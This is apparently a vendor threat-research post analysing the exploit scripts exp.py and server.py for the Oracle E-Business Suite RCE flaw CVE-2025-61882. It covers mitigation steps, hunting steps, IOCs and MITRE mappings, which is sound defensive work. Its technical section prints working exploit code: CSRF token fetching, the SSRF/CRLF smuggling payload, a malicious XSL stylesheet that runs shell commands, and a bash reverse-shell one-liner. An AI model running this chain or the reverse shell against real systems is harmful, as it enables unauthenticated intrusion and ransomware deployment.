Investigation into Oracle E-Business Suite (EBS) Exploit Components Related to CVE-2025-61882
Summary/Title Text
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco.
Summary
The Howler Cell RE team investigated the Oracle E-Business Suite (EBS) exploit components related to CVE-2025-61882, a critical unauthenticated remote code execution (RCE) vulnerability disclosed by Oracle on October 4, 2025, and actively exploited in the wild by the Cl0p ransomware group since at least August 2025.
This zero-day flaw in EBS versions 12.2.3–12.2.14 enables attackers to chain server-side request forgery (SSRF) in the UiServlet, CRLF request smuggling, and malicious XSL processing in BI Publisher to execute arbitrary OS commands, facilitating extortion campaigns targeting enterprise resources.
Our analysis of proof-of-concept scripts (exp.py and server.py) reveals a sophisticated, remote attack vector requiring no authentication, with mass scanning of exposed instances leading to data exfiltration and ransomware deployment. Immediate patching and enhanced monitoring are critical to mitigate risks.
Vulnerability Key Components
- Primary vectors include /OA_HTML/configurator/UiServlet for SSRF to internal port 7201 (Configuration Manager), followed by smuggling to /OA_HTML/help/../ieshostedsurvey.xsl or .jsp for XSL-based RCE
- Retrieve CSRF token via /runforms.jsp and /JavaScriptServlet
- Craft HTML HTML-encoded CRLF payload and inject
- Exp.py coordinates the exploit chain, and server.py implements an evil server component for unauthenticated remote code execution
Mitigation
- Install the October 2023 Critical Patch Update as a prerequisite
- Install the Oracle release security patch for CVE-2025-61882 for affected versions (12.2.3–12.2.14)
- Verification of post-patch and make sure the patch for CVE-2025-61882 is patched successfully
- Restrict the public exposure of the below modules,
- /OA_HTML/configurator/UiServlet
- /OA_HTML/runforms.jsp
- /OA_HTML/JavaScriptServlet
- Deny outbound connections from EBS servers to non-trusted IPs to prevent SSRF attack
- Investigate by collecting the full events, headers, and bodies for requests to:
- /OA_HTML/runforms.jsp
- /OA_HTML/JavaScriptServlet
- /OA_HTML/configurator/UiServlet
- Incident response and backup/recovery readiness
Technical Analysis
Exp.py
The function get_csrf_token(target) is designed to retrieve a CSRF token from an Oracle Applications web interface, likely part of Oracle E-Business Suite (EBS). This function interacts with specific Oracle Applications endpoints to fetch the token, handling redirects and custom headers along the way.
The initial request shown in Table 1 will trigger authentication checks or session and initialize the redirecting to a login or an internal host.
Table 1 Initial request to fetch valid server
req = sess.get(target + "/OA_HTML/runforms.jsp", headers=header, allow_redirects=False) |
The status code of 302 will be checked to verify the redirect and ensure to find the hosted Oracle Application web interface as shown in the Table 2.
Table 2 Code snippet to verify http requests
if req.status_code == 302: location = req.headers['Location'] location_url = urllib.parse.urlparse(location) if location_url.hostname != internal_host: print(f'[*] reset internal_host: {location_url.hostname}') |
Once the internal host or the hosted application is retrieved, with the help of the session, it will generate the CSFR token as shown in Table 3, by requesting a POST request to /OA_HTML/JavaScriptServlet and extract, validate the token further.
Table 3 Code to generate csrk token
tmp_header = header tmp_header["CSRF-XHR"] = "YES" tmp_header["FETCH-CSRF-TOKEN"] = "1" req = sess.post(target + "/OA_HTML/JavaScriptServlet", headers=tmp_header, ) |
The function generate_ssrf_crlf_payload shown in Table 4, is to process an input to prepare it for Server-Side Request Forgery (SSRF) attack combined with CRLF (Carriage Return Line Feed) injection. This function prepares the payload as input and normalizes for HTTP compatibility and encodes it as HTML decimal entities by combining the CRLF injection character \r\n
Table 4 SSRF attack combine with CRLF injection
if payload.startswith("POST "): payload = payload[5:] elif payload.startswith("GET "): payload = payload = payload[4:] payload = payload.replace("\n", "\r\n") |
The code snippet shown in Table 5, encodes the entire payload to appear as benign HTML when viewed in a browser or logged, evading WAFs or input sanitizers that strip raw HTTP but not HTML.
Table 5 Encoding the payload as HTML component
l = list(payload) html_payload = ''.join(['&#' + str(ord(i)) + ";" for i in l]) |
The function ssrf(target, payload) is an exploitation routine designed to trigger a SSRF vulnerability in Oracle E-Business Suite (EBS) by constructing a malicious XML payload, specifically targeting the UiServlet in the configurator module via POST and logs the success message.
The target is a base URL of the Oracle Application web interface and payload is a pre-crafted output from generate_ssrf_crlf_payload function, which is shown in Table 6.
Table 6 Exploitation routine to trigger SSRF vulnerability
def ssrf(target, payload): ssrf_xml = f'''<?xml version="1.0" encoding="UTF-8"?> <initialize> <param name="init_was_saved">test</param> <param name="return_url">http://{internal_host}:7201{payload}</param>
<param name="ui_def_id">0</param> <param name="config_effective_usage_id">0</param> <param name="ui_type">Applet</param> </initialize>''' print('[*] send payload') req = sess.post(target + "/OA_HTML/configurator/UiServlet", headers=header, data={ "redirectFromJsp": "1", "getUiType": ssrf_xml }) print(f'[*] Exploitation successful, check configuration server for any access') |
The function exploit(target, evil_server) shown in Table 7 coordinates the full exploitation chain against Oracle E-Business Suite (EBS) by leveraging SSRF combined with CRLF injection to achieve unauthenticated RCE. The exploit crafts a smuggled HTTP request that, when fetched via SSRF, hits the attacker's server and allows RCE.
Table 7 Full exploitation chain
rce_payload = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 Host: {evil_server} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: keep-alive Cookie: {cookie_str} |
Server.py
The server.py implements a ‘evil server’ component to exploit unauthenticated remote code execution against Oracle E-Business Suite.
When the SSRF request received from the exp.py, the route handler will handle such requests and responds respectively for GET and POST request, as shown in Table 8.
Table 8 Route handler for GET and POST request
@routes.get('/OA_HTML/help/../ieshostedsurvey.xsl') async def config(request): global config_payload return web.Response(text=config_payload) @routes.post('/OA_HTML/help/../ibeCRgpIndividualUser.jsp') async def config(request): global config_payload return web.Response(text=config_payload) |
Table 9 shows the main execution block exactly checks for three command line arguments, port number, target OS identifier, shell initializer ['sh', '-c'] for Linux and ['cmd', '/c'] for windows.
Table 9 Execution block with command arguments
port = int(sys.argv[1]) target_system = sys.argv[2] command = sys.argv[3] |
The example exploitation command shown in Table 10.
Table 10 Sample exploitation command
print('python3 server.py 80 linux \'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1\'') print('python3 server.py 80 windows \'calc\'') |
It generates multi lined JavaScript payload that uses Java reflection to load java.lang.String, create three array for the exploitation command that we receive from the main block and executes via Runtime.getRuntime().exec(cmds), the respective code snippet shown in Table 11.
Table 11 JS payload generation
js_payload = f""" var stringc = java.lang.Class.forName('java.lang.String'); var cmds = java.lang.reflect.Array.newInstance(stringc,3); java.lang.reflect.Array.set(cmds,0,'{shell_exe[0]}'); java.lang.reflect.Array.set(cmds,1,'{shell_exe[1]}'); java.lang.reflect.Array.set(cmds,2,'{command}'); java.lang.Runtime.getRuntime().exec(cmds);"" |
Table 12 shows the payload then base64 encoded for safe embedding in XSL stylesheet, the config_payload variable then creates a malicious XSL stylesheet with the JS encoded payload embedded in it.
Table 12 Preparing a XSL stylesheet payload
config_payload = f'''<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder" xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager" xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine" xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String"> <xsl:template match="/"> <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'{js_payload_base64}')"/> <xsl:variable name="js" select="str:new($bs)"/> <xsl:variable name="m" select="jsm:new()"/> <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/> <xsl:variable name="code" select="eng:eval($e, $js)"/> <xsl:value-of select="$code"/> </xsl:template> </xsl:stylesheet>''' |
Placement of Exploit and Execution Flow
In a real-world attack exploiting CVE-2025-61882, threat actors like the Cl0p ransomware group deploy these scripts across their controlled infrastructure to target vulnerable EBS instances.
- The main exploit script exp.py runs on local attackers machine, likely from VPS with a scripted automation tool to scan and exploit across internet or targeted segments. The usage of VMs in the VPS servers like AWS, DigitalOcean often a throwaway VMs for tracing the covers.
- The evil_server component server.py is hosted in an attacker controlled remote server, additional interests on mimicking the domain of target server
- No installation on the victim is required, the exploit is fully remote, pre-auth, and relies on the victim's unpatched EBS (versions 12.2.3–12.2.14) processing the injected payloads.
The server.py which is an ‘evil_server’ listens for incoming request to process the malicious XSL payload for RCE, which triggers command execution on the victim's side.
python3 server.py 80 linux 'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1'
- 80 - Port to listen on.
- linux/windows - Target OS for command adaptation.
- 'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1' ' - Command to execute via RCE.
The exploitation script exp.py fetches CSRF token, force the SSRF attack combined with CRLF injection to request a malicious XSL stylesheet from evil_server server.py and executes arbitrary commands. python3 exp.py http://apps.example.com:8000/ 8.8.8.8:80
- Target_URL - http://apps.example.com:8000/ (as per the exploit script, demo)
- Evil_server - 8.8.8.8:80 (as per the exploit script, demo)
Threat Hunting Steps for CVE-2025-61882 (Oracle EBS RCE)
- Scope the assets - Identify all Oracle EBS 12.2.3–12.2.14 instances
- Investigate by collecting the full requests, headers, and bodies for requests to:
-
- /OA_HTML/runforms.jsp
- /OA_HTML/JavaScriptServlet
- /OA_HTML/configurator/UiServlet
-
- Hunt for GET|POST http requests to /OA_HTML/runforms.jsp (CSRF fetch), /OA_HTML/JavaScriptServlet (token retrieval), or /OA_HTML/help/../ieshostedsurvey.xsl and ibeCRgpIndividualUser.jsp (XSL fetch).
- Fetch the outbound network connections from the EBS servers and investigate for potential malicious IPs/Domains
- Hunt for child processes like sh, bash, cmd.exe spawned by Java, to look for suspicious reverse shell.
Appendix
IOCs
IPs
200.107.207[.]26
185.181.60[.]11
Domains
Pubstorm[.]com
Pubstorm[.]net
File Hashes (SHA-256)
Exp.py : aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121
Server.py : 6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b
MITRE
Initial access
- T1190 - Exploit Public-Facing Application
- External Remote Services when exploited directly by web facing EBS
Execution
- T1203 - Exploitation for Client Execution
- T1059 Command and Scripting Interpreter
Persistence
- T1547 Boot or Logon Autostart
- Execution if attacker installs persistence
Privilege escalation
- T1068 Exploitation for Privilege Escalation
Defense evasion
- T1070 Indicator Removal on host
Credential access
- T1003 OS Credential Dumping
Discovery
- T1083 File and Directory Discovery
Command and control
- T1071 Application Layer Protocol
Stay informed with Howler Cell
Receive the latest Howler Cell news and research directly to your inbox.

Optional featured resource text
Howler Cell has been tracking and investigating the new variant of MedusaLocker. MedusaLocker is a well-known ransomware family active since late 2019
Ready to close your security gaps?
To stay ahead of today’s relentless threatscape, you’ve got to close the gap between security strategy and execution. Cyderes helps you act fast, stay focused, and move your business forward.